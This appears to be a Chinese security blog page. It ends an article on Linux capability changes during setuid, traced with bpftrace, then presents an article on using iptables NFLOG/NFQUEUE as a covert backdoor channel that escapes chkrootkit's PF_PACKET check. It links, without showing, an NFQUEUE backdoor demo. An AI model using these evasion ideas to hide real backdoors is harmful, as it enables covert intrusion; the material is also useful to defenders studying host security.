在su - test时，可以观察到执行了cap_task_fix_setuid函数，并且有效能力集从0x1ffffffffff变成0。如下

[root@instance-h9w7mlyv ~]# bpftrace -e 'kfunc:cap_task_fix_setuid /comm=="su"/ {printf("%x,%x\n", ((struct cred*)args->new)->cap_effective.cap[0], ((struct cred*)args->new)->cap_effective.cap[1]);}'
...
ffffffff,1ff
[root@instance-h9w7mlyv ~]# bpftrace -e 'kretfunc:cap_task_fix_setuid /comm=="su"/ {printf("%x,%x\n", ((struct cred*)args->new)->cap_effective.cap[0], ((struct cred*)args->new)->cap_effective.cap[1]);}'
...
0,0

从setuid到cap_task_fix_setuid，函数调用栈如下

[root@instance-h9w7mlyv ~]# bpftrace -e 'kprobe:cap_task_fix_setuid /comm=="su"/ {printf("%s\n", kstack)}'
Attaching 1 probe...
  cap_task_fix_setuid+1
  security_task_fix_setuid+48
  __sys_setuid+151    // setuid系统调用入口
  do_syscall_64+91
  entry_SYSCALL_64_after_hwframe+101

所以，setuid时root用户变成非root用户时，允许能力集和有效能力集会被清零。

总结

能力的计算机制感觉很复杂。

普通用户在执行strace xxx后，xxx进程的有效能力集可以认为是strace文件和xxx文件的允许能力集的交集。

调用setuid系统调用从特权用户变成非特权用户时，允许能力集和有效能力集会被清除。

通过阅读代码和bpftrace工具，可以定位到内核中处理能力的代码位置，进一步验证结论。

参考资料

背景

蜜罐产品有个功能是对任何端口的访问都会被记录，即使是"nmap扫描后显示关闭"的端口访问也会被记录。它的实现原理是iptables的NFLOG。

学习NFLOG概念后，我想到也可以用它来做后门通信。

本文包括以下内容

• 讨论NFLOG是什么
• 用NFLOG机制实现后门的优势分析
• NFQUEUE后门demo

希望能对主机安全感兴趣的读者有点帮助

NFLOG是什么

它是一个target，就像ACCEPT、DROP等可以作为iptables -j后的参数值。

[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 1:65535 -j NFLOG --nflog-group 2333

比如上面规则就会告诉内核协议栈，在收到包时，目的端口是1到65535的包，全部执行NFLOG动作。

man iptables-extensions 文档中也有关于NFLOG的说明

NFLOG
    This  target  provides  logging of matching packets. When this target is set for a rule, the Linux kernel will pass the packet to the loaded logging backend to log the packet. This is usually
    used in combination with nfnetlink_log as logging backend, which will multicast the packet through a netlink socket to the specified multicast group. One or more userspace processes may  sub-
    scribe to the group to receive the packets. Like LOG, this is a non-terminating target, i.e. rule traversal continues at the next rule.
    --nflog-group nlgroup
           The netlink group (0 - 2^16-1) to which packets are (only applicable for nfnetlink_log). The default value is 0.
    ...

-j NFLOG和-j LOG有些类似，都可以记录数据包信息，执行动作后会继续匹配iptables规则中的下一条。区别是-j NFLOG可以让用户态程序通过netlink从内核获得数据包信息。

下面你可以和我一起做个小实验来验证一下,用户态程序是否可以通过netlink获取到数据包。

用tcpdump验证

第一步，你需要配置iptables的nflog规则。

[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 65530:65535 -j NFLOG --nflog-group 2333

第二步，使用tcpdump订阅netlink消息。

[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333

第三步，访问主机，验证tcpdump是否能获取到数据包。

curl x.x.x.x:65533 后，可以抓到数据包。

[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333
...
listening on nflog:2333, link-type NFLOG (Linux netfilter log messages), capture size 262144 bytes
11:42:15.175375 IP 111.197.238.30.22293 > instance-h9w7mlyv.65533: Flags [S], seq 3599662212, win 65535, options [mss 1452,nop,wscale 6,nop,nop,TS val 3053845653 ecr 0,sackOK,eol], length 0

或许你会有一个问题：tcpdump -i nflog:2333和tcpdump -i eth0都可以获取数据包，有啥区别。

从编程实现来看是有区别的，tcpdump -i eth0是基于AF_PACKET获取数据

[root@instance-h9w7mlyv ~]# strace tcpdump -i lo
socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 3
...
setsockopt(3, SOL_PACKET, PACKET_RX_RING, 0x7ffeef157d10, 28) = 0     // Packet MMAP提高抓包性能，参考 https://github.com/torvalds/linux/blob/master/Documentation/networking/packet_mmap.rst
mmap(NULL, 4194304, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7fedba9a5000
...
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x7ff0a4ee8000}, 16) = 0   // bpf filter
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x56436b7fe480}, 16) = 0
...
poll([{fd=3, events=POLLIN}], 1, 1000)  = 0 (Timeout)
poll([{fd=3, events=POLLIN}], 1, 1000)  = 1 ([{fd=3, revents=POLLIN}])
write(1, "12:27:16.575888 IP localhost.416"..., 16512:27:16.575888 IP localhost.41616 > localhost.http: Flags [S], seq 3517707840, win 43690, options [mss 65495,sackOK,TS val 1304864277 ecr 0,nop,wscale 7], length 0

tcpdump -i nflog:2333是基于AF_NETLINK获取数据

[root@instance-h9w7mlyv ~]# strace tcpdump -i nflog:2333
socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER) = 3
...
recvfrom(3,[{{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x83\x00\x00\x00\x00\x00\x03\x49\x03"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x84\x00\x00\x00\x00\x00\x03\x4b\x6c"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=20, type=NLMSG_DONE, flags=0, seq=0, pid=0}, 0}], 262272, 0, NULL, NULL) = 388

不知道为什么实现监听流量时，厂家选择了基于NFLOG而不是AF_PACKET来做。

而在实现后门中，我们也可以用NFLOG作为被控端和主控端的通信方式，下面来看一下它有什么好处。

利用NFLOG做后门有什么好处

就像在 聊一聊基于"ebpf xdp"的rootkit 中我看到的: "rootkit用xdp ebpf和bpf技术都是为了通信时不监听端口，从而在网络行为上隐藏痕迹"。同样NFLOG也可以达到这个目的，甚至使用NFLOG相对于基于AF_PACKET的bpf后门从网络行为上看更隐蔽一点。为什么这么说呢？

举个例子，chkrootkit反入侵工具会通过/proc/net/packet检查哪些进程创建了PF_PACKET类型socket，因此可以发现bpf后门痕迹。

[root@instance-h9w7mlyv tmp]# gcc ifpromisc.c
[root@instance-h9w7mlyv tmp]# ./a.out
eth0: PF_PACKET(/usr/decoy/decoysvc, /usr/sbin/NetworkManager)
docker0: PF_PACKET(/usr/sbin/NetworkManager)

AF_PACKET 和 PF_PACKET 同义

chkrootkit目前就不会检查NFLOG后门。虽然从/proc/net/netlink也可以看到哪些进程创建了AF_NETLINK类型socket，但是系统上正常进程也会创建很多AF_NETLINK类型socket，比如我在centos8虚机上看到有30多个记录。

[root@instance-h9w7mlyv tmp]# cat /proc/net/netlink | wc -l
32

聊一聊chkrookit的误信和误用^[1] 文章提到chkrootkit会扫描PF_PACKET

利用NFLOG也应该比较稳定。为什么我这么认为呢？

一种HTTP隧道内核态远控的实现方法 文中提到一个思路: 在内核态基于netfilter实现一个可回显的后门。

而NFLOG有现成的lib库做用户态编程，相比于内核编程，我想用户态程序应该更稳定、适配性更好吧。

另外，iptables还提供了一个和NFLOG类似的扩展NFQUEUE，man iptables-extensions文档提到NFQUEUE可以修改数据包。所以是不是可以用NFQUEUE在用户态基于netfilter实现一个可回显的后门呢？

NFQUEUE后门demo

我基于libnetfilter_queue写了一个后门demo

代码我放在了 https://gist.github.com/leveryd/f70bd0adbf8088446d98ec11ef16f478

运行效果如下

因为我懒，所以这个后门没有实现回显。

总结

NFLOG在蜜罐、后门实现时都可以用到。

实现后门时，它的优点包括通信较为隐蔽、稳定、可回显。

参考资料